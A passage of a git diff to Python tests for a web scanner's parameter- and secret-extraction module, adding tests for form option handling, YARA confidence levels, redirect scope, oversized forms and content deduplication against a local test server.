+    3. selected_with_empty_first -- first option empty, non-first option carries `selected` -> we pick selected
+    4. selected_empty -- the option with `selected` has an empty value -> we keep the empty
+       selected value (the form's author chose blank as the default; preserve that intent)
+    """
+
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "hunt"]
+    select_extract_html = """
+    <html>
+    <body>
+        <form action="/sel1" method="post">
+            <select name="selected_nonfirst">
+                <option value="user">User</option>
+                <option value="admin" selected>Admin</option>
+                <option value="guest">Guest</option>
+            </select>
+            <input type="submit" value="go">
+        </form>
+        <form action="/sel2" method="post">
+            <select name="first_empty">
+                <option value="">-- choose --</option>
+                <option value="staging">Staging</option>
+                <option value="production">Production</option>
+            </select>
+            <input type="submit" value="go">
+        </form>
+        <form action="/sel3" method="post">
+            <select name="selected_with_empty_first">
+                <option value="">-- choose --</option>
+                <option value="us-east" selected>US East</option>
+                <option value="eu-west">EU West</option>
+            </select>
+            <input type="submit" value="go">
+        </form>
+        <form action="/sel4" method="post">
+            <select name="selected_empty">
+                <option value="" selected>None</option>
+                <option value="">blank too</option>
+                <option value="fallback">Fallback</option>
+            </select>
+            <input type="submit" value="go">
+        </form>
+    </body>
+    </html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        respond_args = {"response_data": self.select_extract_html, "headers": {"Content-Type": "text/html"}}
+        module_test.set_expect_requests(respond_args=respond_args)
+
+    def check(self, module_test, events):
+        picked = {}
+        for e in events:
+            if e.type != "WEB_PARAMETER":
+                continue
+            name = e.data.get("name")
+            if name in (
+                "selected_nonfirst",
+                "first_empty",
+                "selected_with_empty_first",
+                "selected_empty",
+            ):
+                picked[name] = e.data.get("original_value")
+
+        assert "selected_nonfirst" in picked, "Did not extract WEB_PARAMETER for selected_nonfirst"
+        assert picked["selected_nonfirst"] == "admin", (
+            f"selected_nonfirst: expected the option with `selected` to win, got {picked['selected_nonfirst']!r}"
+        )
+
+        assert "first_empty" in picked, "Did not extract WEB_PARAMETER for first_empty"
+        assert picked["first_empty"] == "", (
+            f"first_empty: expected the first option's empty value to be preserved when no option is selected, got {picked['first_empty']!r}"
+        )
+
+        assert "selected_with_empty_first" in picked, "Did not extract WEB_PARAMETER for selected_with_empty_first"
+        assert picked["selected_with_empty_first"] == "us-east", (
+            f"selected_with_empty_first: expected `selected` to win over the empty first option, got {picked['selected_with_empty_first']!r}"
+        )
+
+        assert "selected_empty" in picked, "Did not extract WEB_PARAMETER for selected_empty"
+        assert picked["selected_empty"] == "", (
+            f"selected_empty: expected the selected option's empty value to be preserved, got {picked['selected_empty']!r}"
+        )
+
+
 class TestExcavateParameterExtraction_postform_noaction(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
 
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     postform_extract_html = """
 <body>
     <h1>Post for without action</h1>
@@ -713,7 +821,7 @@ class TestExcavateParameterExtraction_additionalparams(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
 
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     postformnoaction_extract_multiparams_html = """
 <body>
     <h1>Post for without action</h1>
@@ -774,7 +882,7 @@ class TestExcavateParameterExtraction_getparam(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
 
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     getparam_extract_html = """
 <html><a href="/?hack=1">ping</a></html>
     """
@@ -796,7 +904,7 @@ class TestExcavateParameterExtraction_relativeurl(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
 
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     config_overrides = {"web": {"spider_distance": 2, "spider_depth": 3}}
 
     # Secondary page that has a relative link to a traversal URL
@@ -870,7 +978,7 @@ def check(self, module_test, events):
 
 class TestExcavateParameterExtraction_json(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "paramminer_getparams"]
+    modules_overrides = ["http", "excavate", "paramminer_getparams"]
     config_overrides = {
         "modules": {
             "excavate": {"speculate_params": True},
@@ -902,7 +1010,7 @@ def check(self, module_test, events):
 
 class TestExcavateParameterExtraction_xml(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "paramminer_getparams"]
+    modules_overrides = ["http", "excavate", "paramminer_getparams"]
     config_overrides = {
         "modules": {
             "excavate": {"speculate_params": True},
@@ -960,7 +1068,7 @@ class TestExcavateParameterExtraction_inputtagnovalue(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
 
     # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     getparam_extract_html = """
 <form action=/ method=GET><input type=text name="novalue"><button type=submit class=button>Submit</button></form>
     """
@@ -980,7 +1088,7 @@ def check(self, module_test, events):
 
 class TestExcavateParameterExtraction_jqueryjsonajax(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     jsonajax_extract_html = """
     <html>
     <script>
@@ -1047,7 +1155,7 @@ class TestExcavateYara(TestExcavate):
 """
 
     async def setup_before_prep(self, module_test):
-        self.modules_overrides = ["excavate", "httpx"]
+        self.modules_overrides = ["excavate", "http"]
         module_test.httpserver.expect_request("/").respond_with_data(self.yara_test_html)
 
     async def setup_after_prep(self, module_test):
@@ -1088,6 +1196,56 @@ class TestExcavateYaraCustom(TestExcavateYara):
     config_overrides = {"modules": {"excavate": {"custom_yara_rules": f}}}
 
 
+class TestExcavateYaraConfidence(ModuleTestBase):
+    """Test YARA rules with confidence options."""
+
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["excavate", "http"]
+
+    async def setup_before_prep(self, module_test):
+        yara_test_html = """
+        <html><body>
+            <p>CONFIRMED_SECRET_DATA</p>
+            <p>HIGH_CONFIDENCE_INDICATOR</p>
+            <p>MODERATE_RISK_PATTERN</p>
+            <p>LOW_CONFIDENCE_MATCH</p>
+            <p>UNKNOWN_PATTERN_TYPE</p>
+        </body></html>
+        """
+        module_test.httpserver.expect_request("/").respond_with_data(yara_test_html)
+
+    async def setup_after_prep(self, module_test):
+        excavate_module = module_test.scan.modules["excavate"]
+        excavateruleinstance = excavateTestRule(excavate_module)
+
+        # Add YARA rules with different confidence levels
+        yara_rules = {
+            "ConfirmedRule": 'rule ConfirmedRule { meta: description = "Confirmed rule" severity = "HIGH" confidence = "CONFIRMED" strings: $text = "CONFIRMED_SECRET_DATA" condition: $text }',
+            "HighConfidenceRule": 'rule HighConfidenceRule { meta: description = "High confidence rule" severity = "MEDIUM" confidence = "HIGH" strings: $text = "HIGH_CONFIDENCE_INDICATOR" condition: $text }',
+            "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MEDIUM" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }',
+            "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFO" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }',
+            "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFO" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }',
+        }
+
+        for rule_name, rule_content in yara_rules.items():
+            excavate_module.add_yara_rule(rule_name, rule_content, excavateruleinstance)
+
+        excavate_module.yara_rules = yara.compile(source="\n".join(excavate_module.yara_rules_dict.values()))
+
+    def check(self, module_test, events):
+        """Verify findings are created with correct confidence levels."""
+        findings = [e for e in events if e.type == "FINDING"]
+        confidence_findings = {f.data.get("confidence", "UNKNOWN"): f for f in findings}
+
+        # Verify all confidence levels are present
+        expected_confidences = ["CONFIRMED", "HIGH", "MEDIUM", "LOW", "UNKNOWN"]
+        for confidence in expected_confidences:
+            assert confidence in confidence_findings, f"Missing finding with confidence: {confidence}"
+            finding = confidence_findings[confidence]
+            assert finding.data["confidence"] == confidence
+            assert f"confidence-{confidence.lower()}" in finding.tags
+
+
 class TestExcavateSpiderDedupe(ModuleTestBase):
     class DummyModule(BaseModule):
         watched_events = ["URL_UNVERIFIED"]
@@ -1097,14 +1255,15 @@ class DummyModule(BaseModule):
 
         async def handle_event(self, event):
             await self.helpers.sleep(0.5)
-            self.events_seen.append(event.data)
+            self.events_seen.append(event.url)
             new_event = self.scan.make_event(event.data, "URL_UNVERIFIED", self.scan.root_event)
             if new_event is not None:
                 await self.emit_event(new_event)
 
     dummy_text = "<a href='/spider'>spider</a>"
-    modules_overrides = ["excavate", "httpx"]
+    modules_overrides = ["excavate", "http"]
     targets = ["http://127.0.0.1:8888/"]
+    config_overrides = {"omit_event_types": []}
 
     async def setup_after_prep(self, module_test):
         self.dummy_module = self.DummyModule(module_test.scan)
@@ -1121,7 +1280,7 @@ def check(self, module_test, events):
 
         for e in events:
             if e.type == "URL_UNVERIFIED":
-                if e.data == "http://127.0.0.1:8888/spider":
+                if e.url == "http://127.0.0.1:8888/spider":
                     if str(e.module) == "excavate" and "spider-danger" in e.tags and "spider-max" in e.tags:
                         found_url_unverified_spider_max = True
                     if (
@@ -1130,7 +1289,7 @@ def check(self, module_test, events):
                         and "spider-max" not in e.tags
                     ):
                         found_url_unverified_dummy = True
-            if e.type == "URL" and e.data == "http://127.0.0.1:8888/spider":
+            if e.type == "URL" and e.url == "http://127.0.0.1:8888/spider":
                 found_url_event = True
 
         assert found_url_unverified_spider_max, "Excavate failed to find /spider link"
@@ -1140,7 +1299,7 @@ def check(self, module_test, events):
 
 class TestExcavateParameterExtraction_targeturl(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/?foo=1"]
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     config_overrides = {
         "url_querystring_remove": False,
         "url_querystring_collapse": False,
@@ -1166,7 +1325,7 @@ def check(self, module_test, events):
 
 class TestExcavate_retain_querystring(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/?foo=1"]
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     config_overrides = {
         "url_querystring_remove": False,
         "url_querystring_collapse": False,
@@ -1213,7 +1372,7 @@ class TestExcavate_webparameter_outofscope(ModuleTestBase):
     html_body = "<html><a class=button href='https://socialmediasite.com/send?text=foo'><a class=button href='https://outofscope.com/send?text=foo'></html>"
 
     targets = ["http://127.0.0.1:8888", "socialmediasite.com"]
-    modules_overrides = ["httpx", "excavate", "hunt"]
+    modules_overrides = ["http", "excavate", "hunt"]
     config_overrides = {"interactsh_disable": True}
 
     async def setup_after_prep(self, module_test):
@@ -1239,9 +1398,42 @@ def check(self, module_test, events):
         assert not web_parameter_outofscope, "Out of scope domain was emitted"
 
 
+class TestExcavate_webparameter_ip_host(ModuleTestBase):
+    """Verify that when the httpx binary resolves a hostname to an IP (data["host"]),
+    excavate still uses the URL hostname for WEB_PARAMETER host — not the resolved IP.
+
+    This test uses 'localhost' as the target. The httpx binary resolves it to 127.0.0.1
+    and sets data["host"] = "127.0.0.1" in its JSON output. Without the archive_url guard
+    in _event_host(), this IP would be used as the WEB_PARAMETER host, putting it out of
+    scope and preventing downstream modules (like lightfuzz) from processing it.
+    """
+
+    targets = ["http://localhost:8888"]
+    modules_overrides = ["http", "excavate", "hunt"]
+    config_overrides = {"interactsh_disable": True}
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"localhost": {"A": ["127.0.0.1"]}})
+        module_test.httpserver.expect_request("/").respond_with_data(
+            "<html><p>hello</p></html>",
+            status=200,
+            headers={"Set-Cookie": "session=abc123; Path=/"},
+        )
+
+    def check(self, module_test, events):
+        web_params = [e for e in events if e.type == "WEB_PARAMETER" and e.data["name"] == "session"]
+        assert len(web_params) > 0, "WEB_PARAMETER for 'session' cookie was not emitted"
+        for wp in web_params:
+            assert wp.data["host"] != "127.0.0.1", (
+                "WEB_PARAMETER host should be 'localhost', not the resolved IP '127.0.0.1'. "
+                "excavate._event_host() is using data['host'] (resolved IP) instead of event.host"
+            )
+            assert wp.data["host"] == "localhost", f"WEB_PARAMETER host should be 'localhost', got '{wp.data['host']}'"
+
+
 class TestExcavateHeaders(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["excavate", "httpx", "hunt"]
+    modules_overrides = ["excavate", "http", "hunt"]
     config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}}
 
     async def setup_before_prep(self, module_test):
@@ -1273,13 +1465,14 @@ def check(self, module_test, events):
 
 class TestExcavateRAWTEXT(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/", "test.notreal"]
-    modules_overrides = ["excavate", "httpx", "filedownload", "extractous"]
+    modules_overrides = ["excavate", "http", "filedownload", "kreuzberg"]
     config_overrides = {
         "scope": {"report_distance": 1},
         "web": {"spider_distance": 2, "spider_depth": 2},
         "modules": {
             "filedownload": {"output_folder": str(bbot_test_dir / "filedownload")},
         },
+        "omit_event_types": [],
     }
 
     pdf_data = r"""%PDF-1.3
@@ -1350,15 +1543,7 @@ class TestExcavateRAWTEXT(ModuleTestBase):
 startxref
 1669
 %%EOF"""
-    extractous_response = """This is an email example@blacklanternsecurity.notreal
-
-An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
-
-A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA==
-
-A full url https://www.test.notreal/about
-
-A href <a href='/donot_detect.js'>Click me</a>"""
+    kreuzberg_response = "This is an email example@blacklanternsecurity.notreal An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA== A full url https://www.test.notreal/about A href <a href='/donot_detect.js'>Click me</a>"
 
     async def setup_after_prep(self, module_test):
         module_test.set_expect_requests(
@@ -1379,13 +1564,13 @@ def check(self, module_test, events):
         assert open(file).read() == self.pdf_data, f"File at {file} does not contain the correct content"
         raw_text_events = [e for e in events if e.type == "RAW_TEXT"]
         assert 1 == len(raw_text_events), "Failed to emit RAW_TEXT event"
-        assert raw_text_events[0].data == self.extractous_response, (
+        assert raw_text_events[0].data == self.kreuzberg_response, (
             f"Text extracted from PDF is incorrect, got {raw_text_events[0].data}"
         )
         email_events = [e for e in events if e.type == "EMAIL_ADDRESS"]
         assert 1 == len(email_events), "Failed to emit EMAIL_ADDRESS event"
         assert email_events[0].data == "example@blacklanternsecurity.notreal", (
-            f"Email extracted from extractous text is incorrect, got {email_events[0].data}"
+            f"Email extracted from kreuzberg text is incorrect, got {email_events[0].data}"
         )
         finding_events = [e for e in events if e.type == "FINDING"]
         assert 2 == len(finding_events), "Failed to emit FINDING events"
@@ -1408,18 +1593,18 @@ def check(self, module_test, events):
             for e in finding_events
         ), f"Failed to emit serialized event got {finding_events}"
         assert finding_events[0].data["path"] == str(file), "File path not included in finding event"
-        url_events = [e.data for e in events if e.type == "URL_UNVERIFIED"]
+        url_events = [e.pretty_string for e in events if e.type == "URL_UNVERIFIED"]
         assert "https://www.test.notreal/about" in url_events, (
-            f"URL extracted from extractous text is incorrect, got {url_events}"
+            f"URL extracted from kreuzberg text is incorrect, got {url_events}"
         )
         assert "/donot_detect.js" not in url_events, (
-            f"URL extracted from extractous text is incorrect, got {url_events}"
+            f"URL extracted from kreuzberg text is incorrect, got {url_events}"
         )
 
 
 class TestExcavateHeaders_blacklist(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["excavate", "httpx", "hunt"]
+    modules_overrides = ["excavate", "http", "hunt"]
     config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}}
 
     async def setup_before_prep(self, module_test):
@@ -1456,8 +1641,8 @@ def check(self, module_test, events):
 
 class TestExcavateBadURLs(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["excavate", "httpx", "hunt"]
-    config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}}
+    modules_overrides = ["excavate", "http", "hunt"]
+    config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}, "omit_event_types": []}
 
     bad_url_data = """
 <a href='mailto:bob@evilcorp.org?subject=help'>Help</a>
@@ -1468,19 +1653,26 @@ async def setup_after_prep(self, module_test):
         module_test.set_expect_requests({"uri": "/"}, {"response_data": self.bad_url_data})
 
     def check(self, module_test, events):
+        import gzip
+
         debug_log_content = open(module_test.scan.home / "debug.log").read()
+        for archived_debug_log in module_test.scan.home.glob("debug.log.*.gz"):
+            gzipped_content = open(archived_debug_log).read()
+            ungzipped_content = gzip.decompress(gzipped_content).decode("utf-8")
+            debug_log_content += ungzipped_content
+
         # make sure our logging is working
-        assert "Setting scan status to STARTING" in debug_log_content
+        assert "Setting scan status to RUNNING" in debug_log_content
         # make sure we don't have any URL validation errors
         assert "Error Parsing reconstructed URL" not in debug_log_content
         assert "Error sanitizing event data" not in debug_log_content
 
         url_events = [e for e in events if e.type == "URL_UNVERIFIED"]
-        assert sorted([e.data for e in url_events]) == sorted(["https://ssl/", "http://127.0.0.1:8888/"])
+        assert sorted([e.pretty_string for e in url_events]) == sorted(["https://ssl/", "http://127.0.0.1:8888/"])
 
 
 class TestExcavateURL_InvalidPort(TestExcavate):
-    modules_overrides = ["excavate", "httpx", "hunt"]
+    modules_overrides = ["excavate", "http", "hunt"]
 
     async def setup_before_prep(self, module_test):
         # Test URL with invalid port (greater than 65535)
@@ -1495,7 +1687,7 @@ def check(self, module_test, events):
 
 class TestExcavateIgnorePDF(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/"]
-    modules_overrides = ["excavate", "httpx"]
+    modules_overrides = ["excavate", "http"]
 
     # body content that would normally produce findings if processed
     pdf_body_with_urls = "https://pdf-extracted.test.notreal/some/path ftp://ftp.test.notreal"
@@ -1509,7 +1701,7 @@ async def setup_after_prep(self, module_test):
     def check(self, module_test, events):
         # excavate should skip PDF responses entirely, so no URLs or findings should be extracted from the body
         url_unverified_events = [
-            e for e in events if e.type == "URL_UNVERIFIED" and "pdf-extracted.test.notreal" in e.data
+            e for e in events if e.type == "URL_UNVERIFIED" and "pdf-extracted.test.notreal" in e.url
         ]
         assert len(url_unverified_events) == 0, (
             f"PDF body should not be processed by excavate, but got: {url_unverified_events}"
@@ -1519,3 +1711,356 @@ def check(self, module_test, events):
             e for e in events if e.type == "FINDING" and "ftp://ftp.test.notreal" in e.data.get("description", "")
         ]
         assert len(ftp_findings) == 0, f"PDF body should not produce findings, but got: {ftp_findings}"
+
+
+class TestExcavateRedirectParameterScope(ModuleTestBase):
+    """Verify that parameter extraction is skipped for out-of-scope redirect targets.
+
+    When an in-scope HTTP response has a Location header pointing to an external
+    out-of-scope domain, the redirect URL's query parameters should NOT be emitted
+    as WEB_PARAMETER events, because they would inherit the in-scope parent's scope
+    distance and cause lightfuzz to fuzz external endpoints.
+    """
+
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "hunt"]
+
+    async def setup_before_prep(self, module_test):
+        module_test.httpserver.expect_request("/").respond_with_data(
+            "",
+            status=302,
+            headers={"Location": "https://login.microsoftonline.com/oauth2/authorize?state=abc123&client_id=test456"},
+        )
+
+    def check(self, module_test, events):
+        # The redirect URL itself should be emitted as URL_UNVERIFIED (that's correct behavior)
+        assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.url for e in events), (
+            "Redirect URL_UNVERIFIED should still be emitted"
+        )
+
+        # But NO WEB_PARAMETER events should be emitted for the out-of-scope redirect's parameters
+        redirect_params = [
+            e for e in events if e.type == "WEB_PARAMETER" and "login.microsoftonline.com" in e.data.get("url", "")
+        ]
+        assert len(redirect_params) == 0, (
+            f"Out-of-scope redirect parameters should not be extracted, but got: {redirect_params}"
+        )
+
+
+# Verifies excavate extracts parameters from a form whose body is far larger than
+# YARA's `.*` regex ceiling (~4 KB). The fix routes form discovery through an
+# opening-tag-only YARA regex and reads the form body from a bounded slice of the
+# response. Before the fix, this fixture produced zero WEB_PARAMETER events; after
+# it, every field must be extracted, and the work must stay fast.
+class TestExcavateGiantForm(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "hunt"]
+
+    GIANT_OPTION_COUNT = 5000
+
+    @classmethod
+    def _build_giant_form_html(cls, option_count):
+        # ~40 bytes per option × N options dominates the form body, easily blowing
+        # past YARA's regex ceiling on `<form>.*</form>` patterns.
+        options = "".join(f'<option value="OPT_{i:05d}">label {i:05d}</option>' for i in range(option_count))
+        return (
+            "<html><body>"
+            '<form action="/giant-submit" method="post">'
+            '<input type="hidden" name="csrf" value="abc123">'
+            '<input type="text" name="search_term" value="">'
+            f'<select name="provider_id">{options}</select>'
+            '<input type="submit" value="go">'
+            "</form>"
+            "</body></html>"
+        )
+
+    async def setup_after_prep(self, module_test):
+        body = self._build_giant_form_html(self.GIANT_OPTION_COUNT)
+        # Sanity check the fixture really is past the YARA cliff.
+        assert len(body) > 100_000, f"giant-form fixture not large enough: {len(body)} bytes"
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}},
+        )
+        # Stash a start time so check() can do a coarse wall-clock assertion.
+        module_test._giantform_start = time.monotonic()
+
+    def check(self, module_test, events):
+        elapsed = time.monotonic() - module_test._giantform_start
+        # Coarse upper bound: full scan including HTTP fetch should stay snappy on
+        # a normal dev box even with a 200 KB form. The spec calls for sub-200ms
+        # processing of the giant-form HTTP_RESPONSE itself; we allow more slack
+        # here because the wall-clock includes the rest of the scan harness.
+        assert elapsed < 30, f"giant-form scan took {elapsed:.1f}s — likely a pathological regex regression"
+
+        web_params = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)}
+        expected = {"provider_id", "csrf", "search_term"}
+        missing = expected - web_params
+        assert not missing, f"WEB_PARAMETERs missing for giant-form fields: {missing}. Got: {sorted(web_params)}"
+
+
+# Same shape as the giant-form test but with a form body that exceeds
+# max_form_bytes. The bound is a defensive cap: forms that don't fit are
+# skipped entirely (no partial extraction). The test asserts excavate doesn't
+# hang or OOM on a multi-hundred-KB form fixture.
+class TestExcavateGiantFormExceedsMaxBytes(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "hunt"]
+
+    # Constrain max_form_bytes so we don't have to generate a literal 2 MB
+    # fixture to prove the bound holds — 32 KB is well below the body size
+    # the next fixture generates (~240 KB).
+    config_overrides = {"modules": {"excavate": {"max_form_bytes": 32768}}}
+
+    OPTION_COUNT = 6000  # ~240 KB form body — 7.5× past max_form_bytes
+
+    @classmethod
+    def _build_giant_form_html(cls, option_count):
+        options = "".join(f'<option value="OPT_{i:05d}">label {i:05d}</option>' for i in range(option_count))
+        return (
+            "<html><body>"
+            '<form action="/giant-submit" method="post">'
+            '<input type="hidden" name="csrf" value="abc123">'
+            '<input type="text" name="search_term" value="">'
+            f'<select name="provider_id">{options}</select>'
+            '<input type="submit" value="go">'
+            "</form>"
+            "</body></html>"
+        )
+
+    async def setup_after_prep(self, module_test):
+        body = self._build_giant_form_html(self.OPTION_COUNT)
+        # Sanity check we built something that actually exceeds the configured bound.
+        assert len(body) > 32768 * 5, f"oversized fixture too small: {len(body)} bytes"
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}},
+        )
+        module_test._oversized_start = time.monotonic()
+
+    def check(self, module_test, events):
+        # Hang/OOM guard: a runaway extractor would push wall-clock well past
+        # this. A correctly-bounded extractor handles even a 240 KB form in seconds.
+        elapsed = time.monotonic() - module_test._oversized_start
+        assert elapsed < 60, f"oversized-form scan took {elapsed:.1f}s — bound likely not enforced"
+
+        # No form-field WEB_PARAMETERs should be emitted for the oversized form
+        # — extraction regex anchors on `</form>` which falls outside the bound.
+        # Other WEB_PARAMETERs (e.g. global `test` header from scan config) are fine.
+        form_fields = {"csrf", "search_term", "provider_id"}
+        emitted = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)}
+        leaked = form_fields & emitted
+        assert not leaked, (
+            f"oversized form's fields should be skipped entirely under the bound, but excavate emitted: {leaked}"
+        )
+
+
+# Verifies the opening-tag YARA regex fires regardless of attribute order.
+# Both `<form action=X method=post>` and `<form method=post action=X>` should
+# extract the form's fields.
+class TestExcavateFormAttributeOrder(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888/"]
+    modules_overrides = ["http", "excavate", "hunt"]
+
+    html = """
+    <html><body>
+    <form action="/submit1" method="post">
+        <input type="text" name="action_first" value="v1">
+    </form>
+    <form method="post" action="/submit2">
+        <input type="text" name="method_first" value="v2">
+    </form>
+    </body></html>
+    """
+
+    async def setup_after_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": self.html, "status": 200, "headers": {"Content-Type": "text/html"}},
+        )
+
+    def check(self, module_test, events):
+        names = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)}
+        assert "action_first" in names, f"missing action-first form field; got {sorted(names)}"
+        assert "method_first" in names, f"missing method-first form field; got {sorted(names)}"
+
+
+class TestExcavateHttpWildcardSkipsUrls(ModuleTestBase):
+    """On an HTTP wildcard host, excavate should suppress URL_UNVERIFIED but still extract DNS_NAMEs."""
+
+    targets = ["http://127.0.0.1:8888/", "test.notreal"]
+    modules_overrides = ["excavate", "http"]
+    config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}}
+
+    html_body = """
+    <a href="http://127.0.0.1:8888/should-be-suppressed">link</a>
+    bare hostname: extracted.test.notreal
+    """
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/"},
+            respond_args={"response_data": self.html_body, "status": 200},
+        )
+
+    async def setup_after_prep(self, module_test):
+        async def mock_wildcard(scheme, host, port):
+            if host == "127.0.0.1":
+                return True
+            return False
+
+        module_test.scan.helpers.web.is_http_wildcard_host = mock_wildcard
+        await module_test.mock_dns({"extracted.test.notreal": {"A": ["127.0.0.88"]}})
+
+    def check(self, module_test, events):
+        excavate_urls = [
+            e
+            for e in events
+            if e.type == "URL_UNVERIFIED" and str(e.module) == "excavate" and "should-be-suppressed" in e.url
+        ]
+        assert len(excavate_urls) == 0, (
+            f"Excavate should suppress URL_UNVERIFIED on HTTP wildcard host, got: {[e.url for e in excavate_urls]}"
+        )
+        assert any(e.type == "DNS_NAME" and e.data == "extracted.test.notreal" for e in events), (
+            "Excavate should still extract DNS_NAMEs from HTTP wildcard host responses"
+        )
+
+
+class TestExcavateContentDedup(ModuleTestBase):
+    """Verify _avoid_duplicate_content=True on excavate skips HTTP_RESPONSE events with duplicate body hashes."""
+
+    targets = [
+        "http://127.0.0.1:8888/dir1/page.html",
+        "http://127.0.0.1:8888/dir2/page.html",
+        "http://127.0.0.1:8888/other/page.html",
+    ]
+    modules_overrides = ["excavate", "http"]
+    config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []}
+
+    duplicate_body = "<html><body><a href='./found.html'>click</a></body></html>"
+    unique_body = "<html><body><a href='./unique.html'>click</a></body></html>"
+
+    async def setup_before_prep(self, module_test):
+        module_test.set_expect_requests(
